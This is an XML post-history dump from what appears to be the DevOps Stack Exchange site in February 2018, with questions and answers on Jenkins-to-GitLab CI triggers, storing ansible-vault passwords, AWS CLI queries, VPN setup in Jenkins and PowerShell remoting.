  <row Id="10288" PostHistoryTypeId="1" PostId="3279" RevisionGUID="58910033-a12a-4b71-add6-0cde3591f55a" CreationDate="2018-02-07T08:34:46.790" UserId="4613" Text="Have Jenkins trigger GitlabCI" ContentLicense="CC BY-SA 3.0" />
  <row Id="10289" PostHistoryTypeId="3" PostId="3279" RevisionGUID="58910033-a12a-4b71-add6-0cde3591f55a" CreationDate="2018-02-07T08:34:46.790" UserId="4613" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10290" PostHistoryTypeId="5" PostId="3279" RevisionGUID="38b7e996-4532-41a3-99c0-6f406f1a385f" CreationDate="2018-02-07T08:40:31.377" UserId="4613" Comment="added 4 characters in body" Text="Assuming a user initiates a Jenkins job, passing some input parameters.&#xD;&#xA;&#xD;&#xA;Is there a way, at some point to have the Jenkins job trigger a `gitlab-ci`, **and** also pass to it (i.e. the `gitlab` pipeline) some input parameters which the latter will use as environment variables?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10295" PostHistoryTypeId="2" PostId="3282" RevisionGUID="9fdee720-1c16-4fe4-8efa-729879b0d6f7" CreationDate="2018-02-07T10:47:30.047" UserId="800" Text="We are planning to use ansible vault in our project to prevent leaking passwords or keys in git. &#xD;&#xA;&#xD;&#xA;The idea is to put all our sensitive data into a plain file then encrypt this file with ansible-vault using a password before pushing to git. &#xD;&#xA; &#xD;&#xA;To decrypt the file, we have to pass the vault password to ansible, I'm thinking about 3 possibilities:&#xD;&#xA;&#xD;&#xA; - Store it inside a server environnment variable&#xD;&#xA; - Pass it as an option to ansible-playbook command&#xD;&#xA; - Store it into a non versionned file.&#xD;&#xA; &#xD;&#xA;Is there any other options, which is the best (and secure) way to store ansible-vault password , ansible best practices documentation is not saying anything on this.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10296" PostHistoryTypeId="1" PostId="3282" RevisionGUID="9fdee720-1c16-4fe4-8efa-729879b0d6f7" CreationDate="2018-02-07T10:47:30.047" UserId="800" Text="Where to put ansible-vault password" ContentLicense="CC BY-SA 3.0" />
  <row Id="10297" PostHistoryTypeId="3" PostId="3282" RevisionGUID="9fdee720-1c16-4fe4-8efa-729879b0d6f7" CreationDate="2018-02-07T10:47:30.047" UserId="800" Text="&lt;ansible&gt;&lt;git&gt;&lt;security&gt;&lt;practices&gt;&lt;ansible-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10298" PostHistoryTypeId="2" PostId="3283" RevisionGUID="9ae29e5a-86dd-40db-b433-371166521568" CreationDate="2018-02-07T10:48:59.320" UserId="271" Text="A significant part of the activity of software Engineers working on automated testing, continuous delivery, service integration and monitoring, and building SDLC infrastructure strives to reduce operational risks lying on the system they are working on.  To estimate the economic value of these efforts require a risk model. As a first approach, it seems reasonable to throw an *ad hoc* model where each risk occurrence is governed by a Bernoulli variable (roughly speaking a coin that can be weighted to fall more or less on a given side).  But how to find sensible parameters for this model.&#xD;&#xA;&#xD;&#xA;To take a concrete example, if I develop a disaster recovery procedure and run drills each month to prove it working, I would need to estimate the odds of my company going bankrupt because it is unable to recover quickly enough from a disaster, and I was unable to find any sensible data on this.&#xD;&#xA;&#xD;&#xA;Is there any sensible risk model, together with its parameters, that can be used to estimate the value of efforts invested in risk-reduction?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10299" PostHistoryTypeId="1" PostId="3283" RevisionGUID="9ae29e5a-86dd-40db-b433-371166521568" CreationDate="2018-02-07T10:48:59.320" UserId="271" Text="Economic value of DevOPs" ContentLicense="CC BY-SA 3.0" />
  <row Id="10300" PostHistoryTypeId="3" PostId="3283" RevisionGUID="9ae29e5a-86dd-40db-b433-371166521568" CreationDate="2018-02-07T10:48:59.320" UserId="271" Text="&lt;risk&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10301" PostHistoryTypeId="2" PostId="3284" RevisionGUID="4d9eeac0-50cc-4ec5-a203-c488b490a566" CreationDate="2018-02-07T11:39:02.477" UserId="6401" Text="I want to have a pipeline project on Jenkins that basically do this:&#xD;&#xA;&#xD;&#xA; - SVN update&#xD;&#xA; - Build&#xD;&#xA; - Deploy&#xD;&#xA;&#xD;&#xA;As the deploy target machine is on a different network, I want to know how to start a VPN connection before to do the deploy.&#xD;&#xA;&#xD;&#xA;PS: I'm on a Windows Server." ContentLicense="CC BY-SA 3.0" />
  <row Id="10302" PostHistoryTypeId="1" PostId="3284" RevisionGUID="4d9eeac0-50cc-4ec5-a203-c488b490a566" CreationDate="2018-02-07T11:39:02.477" UserId="6401" Text="How to start a VPN connection using Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="10303" PostHistoryTypeId="3" PostId="3284" RevisionGUID="4d9eeac0-50cc-4ec5-a203-c488b490a566" CreationDate="2018-02-07T11:39:02.477" UserId="6401" Text="&lt;jenkins&gt;&lt;deployment&gt;&lt;jenkins-pipeline&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10304" PostHistoryTypeId="2" PostId="3285" RevisionGUID="50091739-4c50-44f9-adfc-d82634259ba2" CreationDate="2018-02-07T11:43:54.943" UserId="6402" Text="From https://www.ibm.com/developerworks/library/a-devops6/index.html&#xD;&#xA;&#xD;&#xA;&gt; The key prerequisite to versioning everything is that all source artifacts must be in a scripted form. This goes for the infrastructure, the data, configuration, and the application code. The only exception is for libraries and packages — JAR files and RPM packages, for example — that you use but never modify. After all source artifacts are scripted, you can easily version them. &#xD;&#xA;&#xD;&#xA;What do they min by *source artifacts must be in a scripted form*?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10305" PostHistoryTypeId="1" PostId="3285" RevisionGUID="50091739-4c50-44f9-adfc-d82634259ba2" CreationDate="2018-02-07T11:43:54.943" UserId="6402" Text="Source artifacts in scripted form" ContentLicense="CC BY-SA 3.0" />
  <row Id="10306" PostHistoryTypeId="3" PostId="3285" RevisionGUID="50091739-4c50-44f9-adfc-d82634259ba2" CreationDate="2018-02-07T11:43:54.943" UserId="6402" Text="&lt;artifacts&gt;&lt;versioning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10307" PostHistoryTypeId="5" PostId="3284" RevisionGUID="5a371439-ab30-486f-a160-b5dc7403c3b9" CreationDate="2018-02-07T12:04:30.343" UserId="6401" Comment="added 112 characters in body" Text="I want to have a pipeline project on Jenkins that basically do this:&#xD;&#xA;&#xD;&#xA; - SVN update&#xD;&#xA; - Build&#xD;&#xA; - Deploy&#xD;&#xA;&#xD;&#xA;As the deploy target machine is on a different network, I want to know how to start a VPN connection before to do the deploy.&#xD;&#xA;&#xD;&#xA;PS: I'm on a Windows Server.&#xD;&#xA;&#xD;&#xA;Edit: My general goal is to automate deployment to a server in a VPN. Currently the VPN is Cisco AnyConnect." ContentLicense="CC BY-SA 3.0" />
  <row Id="10308" PostHistoryTypeId="5" PostId="3284" RevisionGUID="35a9ab3e-3eec-42ba-9211-e3a1cc0037c5" CreationDate="2018-02-07T12:31:11.763" UserId="40" Comment="deleted 2 characters in body; edited title" Text="I'm on a Windows Server and I want to have a pipeline project on Jenkins that basically does this:&#xD;&#xA;&#xD;&#xA; - SVN update&#xD;&#xA; - Build&#xD;&#xA; - Deploy&#xD;&#xA;&#xD;&#xA;As the deploy target machine is on a different network, I want to know how to start a VPN connection before to do the deploy.&#xD;&#xA;&#xD;&#xA;Note: My general goal is to automate deployment to a server in a VPN. Currently the VPN is Cisco AnyConnect." ContentLicense="CC BY-SA 3.0" />
  <row Id="10309" PostHistoryTypeId="4" PostId="3284" RevisionGUID="35a9ab3e-3eec-42ba-9211-e3a1cc0037c5" CreationDate="2018-02-07T12:31:11.763" UserId="40" Comment="deleted 2 characters in body; edited title" Text="How to start a VPN connection using Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10310" PostHistoryTypeId="2" PostId="3286" RevisionGUID="2a066401-ffd7-46dd-8de0-c3b3d78775d4" CreationDate="2018-02-07T12:43:34.053" UserId="40" Text="IMO these could be possible synonyms for ***scripted***, in the context of your question here:&#xD;&#xA;&#xD;&#xA; - in a *textual* format, which you can edit in some editor, like YAML, XML, JSON, PHP, etc.&#xD;&#xA; - NOT in a *binary* format, the result of some build process (like a .EXE file, etc).&#xD;&#xA;&#xD;&#xA;And I bet the reason for the &quot;key prerequisite&quot; (as in your quopted text), is that in the end you want to be able to perform some sort of comparison between 2 versions of such files. E.g. like a patch file (if usig GIT). Think about how a compare of 2 versions of a binary looks like, pretty sure every line is updated (or: all old lines are deleted, and all new lines are inserted).&#xD;&#xA;&#xD;&#xA;This applies to pretty much any operating system, be it Linux, Windows, ..., or even zOS (aka good old mainframes)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10311" PostHistoryTypeId="5" PostId="3285" RevisionGUID="1a371476-b572-47fd-8bf7-eddef2589afd" CreationDate="2018-02-07T12:44:50.723" UserId="40" Comment="added 13 characters in body; edited title" Text="Quote from rom https://www.ibm.com/developerworks/library/a-devops6/index.html&#xD;&#xA;&#xD;&#xA;&gt; The key prerequisite to versioning everything is that all source artifacts must be in a scripted form. This goes for the infrastructure, the data, configuration, and the application code. The only exception is for libraries and packages — JAR files and RPM packages, for example — that you use but never modify. After all source artifacts are scripted, you can easily version them. &#xD;&#xA;&#xD;&#xA;What do they mean by &quot;*source artifacts must be in a scripted form*&quot;?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10312" PostHistoryTypeId="4" PostId="3285" RevisionGUID="1a371476-b572-47fd-8bf7-eddef2589afd" CreationDate="2018-02-07T12:44:50.723" UserId="40" Comment="added 13 characters in body; edited title" Text="What is the meaning of source artifacts that must be in a scripted form?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10313" PostHistoryTypeId="2" PostId="3287" RevisionGUID="dd17079e-e9b0-40c1-9f7b-c901191fe32b" CreationDate="2018-02-07T12:58:23.790" UserId="775" Text="This quite much goes to what internal policies you have on handling sensitive data. &#xD;&#xA;&#xD;&#xA;I'd like to tell you my approach to this and explain what I see as pros and cons. I keep the Ansible Vault password in a file on the control machine and have a environment variable pointing to it:&#xD;&#xA;&#xD;&#xA;    export ANSIBLE_VAULT_PASSWORD_FILE=/deep/dark/place&#xD;&#xA;&#xD;&#xA;I have that on my workstation (as I need to test &amp; develop playbooks), some colleagues have it as well, and of course we have it on the main Ansible control machine. &#xD;&#xA;&#xD;&#xA;Pros:&#xD;&#xA;&#xD;&#xA;- not in a shared location/repository (it's a non versioned file as you say)&#xD;&#xA;- one does not need to know your Ansible vault password to run a play (this is under the condition that you have a CI tool, e.g. Jenkins, where you can easily launch playbooks) &#xD;&#xA;&#xD;&#xA;Cons:&#xD;&#xA;&#xD;&#xA;- not easy to rotate the password&#xD;&#xA;- everyone who works on your playbooks needs to have it on his workstation&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The cons do have mitigations, but again it's up to the policies and rules you have adopted in you day to day operations. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10314" PostHistoryTypeId="2" PostId="3288" RevisionGUID="fa894581-04e1-4330-920e-772b8ba5bc20" CreationDate="2018-02-07T14:26:19.357" UserId="6407" Text="Try [TotalCloud][1], I have been using it for many other things but this is very easily possible on the platform. It seems to be free for now. I have been using it with two $50k+ for 3 months now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://totalcloud.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="10315" PostHistoryTypeId="5" PostId="3288" RevisionGUID="dab8bb0d-3a81-42a2-b466-4f1811aada23" CreationDate="2018-02-07T14:45:18.827" UserId="6407" Comment="added 292 characters in body" Text="That would be one way of doing, using just the AWS console. &#xD;&#xA;&#xD;&#xA;I have been using [TotalCloud][1] for many other things but this is very easily possible on the platform. It seems to be free for now. I have been using it with two large AWS accounts for 3 months now.&#xD;&#xA;&#xD;&#xA;It shows everything in a single view with visual topological view which makes it fairly easy to understand the relationships between resources/services. The grouping can definitely help you find the resources as needed.  &#xD;&#xA;&#xD;&#xA;  [1]: https://totalcloud.io" ContentLicense="CC BY-SA 3.0" />
  <row Id="10316" PostHistoryTypeId="2" PostId="3289" RevisionGUID="620362d6-7024-4076-8fbf-26321d2674cf" CreationDate="2018-02-07T14:57:59.367" UserId="4328" Text="Your scenario is a perfect use case for a [binary repository manager][1]. A BRM's primary feature is to act as a central storage system for your binaries, but there are many other features including:&#xD;&#xA;&#xD;&#xA; 1. Versioning &#xD;&#xA; 2. Tagging&#xD;&#xA; 3. Permission management&#xD;&#xA; 4. Logging/auditing&#xD;&#xA;&#xD;&#xA;Using a BRM is more lightweight than a typical source code repository system such as Git or SVN. Those systems will have much more metadata than is necessary for binary files &#xD;&#xA;&#xD;&#xA;I have personally used [Artifactory][2] by JFrog, but I have also heard many good things about [Nexus][3]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Binary_repository_manager&#xD;&#xA;  [2]: https://jfrog.com/artifactory/&#xD;&#xA;  [3]: https://www.sonatype.com/nexus-repository-sonatype" ContentLicense="CC BY-SA 3.0" />
  <row Id="10317" PostHistoryTypeId="4" PostId="3283" RevisionGUID="2f1a3b3c-4934-4d25-9782-90f28504551c" CreationDate="2018-02-07T17:18:40.960" UserId="47" Comment="clarified title" Text="Modelling economic value of risk-reduction DevOPs efforts" ContentLicense="CC BY-SA 3.0" />
  <row Id="10318" PostHistoryTypeId="2" PostId="3290" RevisionGUID="fff307b8-aca3-499d-b944-fb60134ab1e9" CreationDate="2018-02-07T17:36:16.690" UserId="3" Text="I'm looking for syntax like:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-security-groups --instance-id i-0xyz&#xD;&#xA;&#xD;&#xA;however, the above sub-command doesn't support `--instance-id` parameter.&#xD;&#xA;&#xD;&#xA;I've checked and there are `--filters` and `--query` parameters, but I'm not sure about the syntax.&#xD;&#xA;&#xD;&#xA;What would be the easiest way to display the description of the security group of the instance?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10319" PostHistoryTypeId="1" PostId="3290" RevisionGUID="fff307b8-aca3-499d-b944-fb60134ab1e9" CreationDate="2018-02-07T17:36:16.690" UserId="3" Text="How to list security groups for the specific instance via CLI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10320" PostHistoryTypeId="3" PostId="3290" RevisionGUID="fff307b8-aca3-499d-b944-fb60134ab1e9" CreationDate="2018-02-07T17:36:16.690" UserId="3" Text="&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10321" PostHistoryTypeId="2" PostId="3291" RevisionGUID="e9f5c444-fdf6-4b66-8847-2582faf21ef1" CreationDate="2018-02-07T17:43:29.580" UserId="6410" Text="You can use `aws ec2 describe-instances` instead, you can specify the id --instance-ids &lt;value&gt; and it will output the security group " ContentLicense="CC BY-SA 3.0" />
  <row Id="10322" PostHistoryTypeId="2" PostId="3292" RevisionGUID="96821a82-77b6-45bb-9b77-28211bf93a6c" CreationDate="2018-02-07T18:01:27.193" UserId="47" Text="Note: I didn't use this yet, the answer is based solely on documentation.&#xD;&#xA;&#xD;&#xA;A GitlabCI pipeline can be triggered via API, see [Triggering pipelines through the API][1]. &#xD;&#xA;&#xD;&#xA;&gt; Triggers can be used to force a pipeline rerun of a specific `ref` (branch or tag) with an API call.&#xD;&#xA;&#xD;&#xA;You would first need to [create a trigger][2] for that pipeline.&#xD;&#xA;&#xD;&#xA;Then you can [activate that trigger][3] (from your jenkins job in this case):&#xD;&#xA;&#xD;&#xA;&gt; To trigger a job you need to send a `POST` request to GitLab's API&#xD;&#xA;&gt; endpoint:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     POST /projects/:id/trigger/pipeline&#xD;&#xA;&gt; &#xD;&#xA;&gt; The required parameters are the [trigger's `token`][4] and the Git&#xD;&#xA;&gt; `ref` on which the trigger will be performed. Valid refs are the&#xD;&#xA;&gt; branch and the tag.&#xD;&#xA;&#xD;&#xA;Such triggers support [variable passing][5]:&#xD;&#xA;&#xD;&#xA;&gt; You can pass any number of arbitrary variables in the trigger API call&#xD;&#xA;&gt; and they will be available in GitLab CI so that they can be used in&#xD;&#xA;&gt; your `.gitlab-ci.yml` file. The parameter is of the form:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     variables[key]=value&#xD;&#xA;&#xD;&#xA;You can use the variables inside `.gitlab-ci.yml` like this:&#xD;&#xA;&#xD;&#xA;&gt;     upload_package:&#xD;&#xA;&gt;       stage: package&#xD;&#xA;&gt;       script:&#xD;&#xA;&gt;       - if [ -n &quot;${UPLOAD_TO_S3}&quot; ]; then make upload; fi&#xD;&#xA;&#xD;&#xA;And&#xD;&#xA;&#xD;&#xA;&gt; You can then trigger a rebuild while you pass the `UPLOAD_TO_S3`&#xD;&#xA;&gt; variable and the script of the `upload_package` job will run:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     curl --request POST \&#xD;&#xA;&gt;       --form token=TOKEN \&#xD;&#xA;&gt;       --form ref=master \&#xD;&#xA;&gt;       --form &quot;variables[UPLOAD_TO_S3]=true&quot; \&#xD;&#xA;&gt;       https://gitlab.example.com/api/v4/projects/9/trigger/pipeline&#xD;&#xA;&#xD;&#xA;This kind of POST requests is what you would to do in your jenkins job. But take a closer look at the triggers, you might find a way to do what you want without jenkins.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/triggers/&#xD;&#xA;  [2]: https://docs.gitlab.com/ee/ci/triggers/#adding-a-new-trigger&#xD;&#xA;  [3]: https://docs.gitlab.com/ee/ci/triggers/#triggering-a-pipeline&#xD;&#xA;  [4]: https://docs.gitlab.com/ee/ci/triggers/#authentication-tokens&#xD;&#xA;  [5]: https://docs.gitlab.com/ee/ci/triggers/#making-use-of-trigger-variables" ContentLicense="CC BY-SA 3.0" />
  <row Id="10323" PostHistoryTypeId="2" PostId="3293" RevisionGUID="2f16e799-5aea-43ec-958c-36fc919af50b" CreationDate="2018-02-07T18:03:58.983" UserId="3" Text="The following one-liner in shell works for me:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-security-groups --group-ids $(aws ec2 describe-instances --instance-id $id --query &quot;Reservations[].Instances[].SecurityGroups[].GroupId[]&quot; --output text) --output text&#xD;&#xA;&#xD;&#xA;Where `$id` is my instance-id." ContentLicense="CC BY-SA 3.0" />
  <row Id="10325" PostHistoryTypeId="2" PostId="3294" RevisionGUID="78a09a9b-6230-4916-8d3b-536c27e86ddf" CreationDate="2018-02-07T18:47:42.317" UserId="2845" Text="You are probably unable to find data on this for two main reasons. Firstly, because it varies from system to system. Does an outage cost you money due to contractual obligations? Or only in lost reputation and in user perception? How much does *that* cost? This varies from organization to organization. But I think that might be what you are getting at with the Bernoulli variable...&#xD;&#xA;&#xD;&#xA;...Which brings me to the second thing. In order for you to be able to model risk, you need research in which someone has already statistically proved or measured the efficacy of DevOps methodologies (which means you have to define exactly what DevOps is first, a notoriously tricky issue.)&#xD;&#xA;&#xD;&#xA;You also need to be able to compare that to old methods - meaning that someone must also have measured data for the Dev/Ops segmented model. I'm not sure that research exists or is settled. Probably because the efficacy and cost of Dev/Ops will also vary widely from organization to organization. In that respect it may provide an opportunity to measure the old methodology and then show the average improvement of changing methodologies if you can find enough research subjects.&#xD;&#xA;&#xD;&#xA;In short, it is doubtful that such a formula for risk modeling exists. If it does, it likely exists as paid marketing research to a consulting firm and is unlikely to be available to the public and I would personally be very dubious of the accuracy of it's results due to the subjectivity of the input variables measured." ContentLicense="CC BY-SA 3.0" />
  <row Id="10326" PostHistoryTypeId="2" PostId="3295" RevisionGUID="655de0e2-a557-408d-b068-d97a10018369" CreationDate="2018-02-07T20:46:27.753" UserId="4175" Text="&gt; Is there any sensible risk model, together with its parameters, that can be used to estimate the value of efforts invested in risk-reduction?&#xD;&#xA;&#xD;&#xA;Yes, of course. For non-life-threatening risks (say, your common bug which just induces some cost to fix it): take the chance of the problem happening, multiply by cost, and there you go. Easily done by going through your bug ticket system, where you hopefully have recorded the effort gone into fixing. &#xD;&#xA;&#xD;&#xA;Then there are the life-threatening risks where you do not actually need to factor in the cost, but there is no question that you do your utmost to avoid it. For example, if you are a small company with one product, and you lose your source code, then it is not a question about how much that costs. You can just pack in. You will want to have some sort of backup strategy that is, by all means and purposes, unbeatable (for example: the boss takes a current set of physical backup tapes back home each weekend =&gt; and yes, I have worked in companies where that was done (in addition to all the usual other measures, like snapshotting file systems, distributed git repositories, on-site backups, off-site online backups etc.)).&#xD;&#xA;&#xD;&#xA;Nothing about  this is particularly related to DevOps. DevOps just happens to bring a few tools to the table (like CI/CD pipelines, relatively easy HA through read-only redundant containers/pods etc.)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10327" PostHistoryTypeId="5" PostId="3262" RevisionGUID="eb504a03-52d3-4f6a-905e-f3fca1c96281" CreationDate="2018-02-07T21:08:46.110" UserId="210" Comment="added 43 characters in body" Text="If one checks [the Tomcat homepage][1] then one could see some versions, but not only the latest. Off course I could parse the website and find the version, but I am looking for a Tomcat API that shows the latest version to prevent that I have to create a script that is error prone.&#xD;&#xA;&#xD;&#xA;**Why?**&#xD;&#xA;&#xD;&#xA;I would like to automate the update of our internal tomcat packages. At the moment someone is checking the latest version and create the debian package manually, but I want to see that that is automated.&#xD;&#xA;&#xD;&#xA;**What has been tried?**&#xD;&#xA;&#xD;&#xA; - The github mirror does not show the latest version https://github.com/apache/tomcat/releases&#xD;&#xA; - The official tomcat html could be parsed, but that does not seem to be the easiest solution&#xD;&#xA; - `curl https://api.github.com/repos/apache/tomcat/releases/latest` returns:&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;          &quot;message&quot;: &quot;Not Found&quot;,&#xD;&#xA;          &quot;documentation_url&quot;: &quot;https://developer.github.com/v3/repos/releases/#get-the-latest-release&quot;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tomcat.apache.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10328" PostHistoryTypeId="4" PostId="1085" RevisionGUID="e4519f8a-7d2d-4ce3-a646-2c7330745c7d" CreationDate="2018-02-07T21:34:59.077" UserId="3" Comment="Removes tag from the title." Text="How to get environment variables in ECS container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10329" PostHistoryTypeId="2" PostId="3296" RevisionGUID="0c7ea986-f76d-45a3-bd87-dcd234e40521" CreationDate="2018-02-07T21:37:49.750" UserId="3" Text="I'd like to find a route table id associated with the given EC2 instance.&#xD;&#xA;&#xD;&#xA;How can this be achieved using AWS CLI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10330" PostHistoryTypeId="1" PostId="3296" RevisionGUID="0c7ea986-f76d-45a3-bd87-dcd234e40521" CreationDate="2018-02-07T21:37:49.750" UserId="3" Text="How to get instance's route table id using CLI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10331" PostHistoryTypeId="3" PostId="3296" RevisionGUID="0c7ea986-f76d-45a3-bd87-dcd234e40521" CreationDate="2018-02-07T21:37:49.750" UserId="3" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10332" PostHistoryTypeId="5" PostId="3296" RevisionGUID="f6baa889-1509-46d4-a361-d1cd6b785fcb" CreationDate="2018-02-07T21:46:09.517" UserId="3" Comment="added 100 characters in body" Text="I'd like to find a route table id associated with the given EC2 instance.&#xD;&#xA;&#xD;&#xA;How can this be achieved using AWS CLI?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've tried to use `aws ec2 describe-vpcs`, but the route tables are not there.&#xD;&#xA;&#xD;&#xA;I'm using `aws-cli/1.11.13`." ContentLicense="CC BY-SA 3.0" />
  <row Id="10333" PostHistoryTypeId="2" PostId="3297" RevisionGUID="3ca6e47d-b3bf-436b-944c-21db10de460b" CreationDate="2018-02-07T22:03:22.777" UserId="3" Text="The route table is associated with VPC, which is associated with the instance.&#xD;&#xA;&#xD;&#xA;Given `$id` shell variable has the instance ID, e.g.&#xD;&#xA;&#xD;&#xA;    id=i-0xyz # Replace i-0xyz with the real Instance ID.&#xD;&#xA;&#xD;&#xA;here is the shell command to get VPCs associated with the instance and assign to `$vpcs` variable:&#xD;&#xA;&#xD;&#xA;    vpcs=$(aws ec2 describe-instances --instance-id $id --query 'Reservations[].Instances[].NetworkInterfaces[].VpcId' --output text)&#xD;&#xA;&#xD;&#xA;Then to list the route tables associated with VPC, run:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-route-tables --filters &quot;Name=vpc-id,Values=$vpcs&quot;&#xD;&#xA;&#xD;&#xA;To get just the route ids, add: `--query &quot;RouteTables[].RouteTableId[]&quot;` parameter." ContentLicense="CC BY-SA 3.0" />
  <row Id="10334" PostHistoryTypeId="2" PostId="3298" RevisionGUID="30f55bcd-1b63-48b9-b4f2-944df49bbae4" CreationDate="2018-02-07T22:11:12.580" UserId="6412" Text="You can achieve this by determining which subnet the ec2 instance belongs to, then check which route table the subnet is associated with.&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    instanceId='YOU-INSTANCE-ID'&#xD;&#xA;    &#xD;&#xA;    #finds the subnetId that the instance belongs to&#xD;&#xA;    subnetId=$(aws ec2 describe-instances \&#xD;&#xA;               --instance-id $instanceId \&#xD;&#xA;               --query &quot;Reservations[*].Instances[].SubnetId&quot; \&#xD;&#xA;               --output text)&#xD;&#xA;    &#xD;&#xA;    routingTableId=$(aws ec2 describe-route-tables \&#xD;&#xA;                     --query &quot;RouteTables[*].Associations[?SubnetId=='$subnetId'].RouteTableId&quot; \&#xD;&#xA;                     --output text)&#xD;&#xA;    &#xD;&#xA;    echo $routingTableId" ContentLicense="CC BY-SA 3.0" />
  <row Id="10338" PostHistoryTypeId="2" PostId="3300" RevisionGUID="7bce90d7-336c-4c32-8840-c1091166df4b" CreationDate="2018-02-07T22:36:10.717" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10339" PostHistoryTypeId="1" PostId="3300" RevisionGUID="7bce90d7-336c-4c32-8840-c1091166df4b" CreationDate="2018-02-07T22:36:10.717" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10340" PostHistoryTypeId="2" PostId="3301" RevisionGUID="faa492b1-c528-4766-b944-68644ad0a5d2" CreationDate="2018-02-07T22:36:10.717" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="10341" PostHistoryTypeId="1" PostId="3301" RevisionGUID="faa492b1-c528-4766-b944-68644ad0a5d2" CreationDate="2018-02-07T22:36:10.717" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10342" PostHistoryTypeId="2" PostId="3302" RevisionGUID="060c46d7-e68a-468c-96d9-9ba2cc37b06d" CreationDate="2018-02-07T23:09:01.260" UserId="6413" Text="I'm building a process to automate deploys using Jenkins and I have an issue getting the code on the server&#xD;&#xA;&#xD;&#xA;I have a powershell script on the deploy server that all it does is do an hg update command.&#xD;&#xA;&#xD;&#xA;    $ciPwd = ConvertTo-SecureString $env:CI_SERVER_PWD -AsPlainText -Force&#xD;&#xA;    $ciCredential = New-Object System.Management.Automation.PSCredential ($env:CI_SERVER_USR, $ciPwd)&#xD;&#xA;    Invoke-Command -ComputerName web1-dev,web2-dev -Credential $ciCredential -ScriptBlock { C:\hg\Update.ps1 } -InDisconnectedSession -SessionName srv1,srv2&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;web1-dev output:&quot;&#xD;&#xA;    Receive-PSSession -Name srv1&#xD;&#xA;    Remove-PSSession -Name srv1&#xD;&#xA;&#xD;&#xA;    Write-Host &quot;web2-dev output:&quot;&#xD;&#xA;    Receive-PSSession -Name srv2&#xD;&#xA;    Remove-PSSession -Name srv2&#xD;&#xA;&#xD;&#xA;the script always hangs at the 'web1-dev output:' portion.&#xD;&#xA;&#xD;&#xA;I'm kinda new to powershell scripting so its possible I'm doing something wrong, and if there's a better way to call a remote powershell script, I'm open to that" ContentLicense="CC BY-SA 3.0" />
  <row Id="10343" PostHistoryTypeId="1" PostId="3302" RevisionGUID="060c46d7-e68a-468c-96d9-9ba2cc37b06d" CreationDate="2018-02-07T23:09:01.260" UserId="6413" Text="Powershell script in jenkins is hanging" ContentLicense="CC BY-SA 3.0" />
  <row Id="10344" PostHistoryTypeId="3" PostId="3302" RevisionGUID="060c46d7-e68a-468c-96d9-9ba2cc37b06d" CreationDate="2018-02-07T23:09:01.260" UserId="6413" Text="&lt;jenkins&gt;&lt;deployment&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 3.0" />
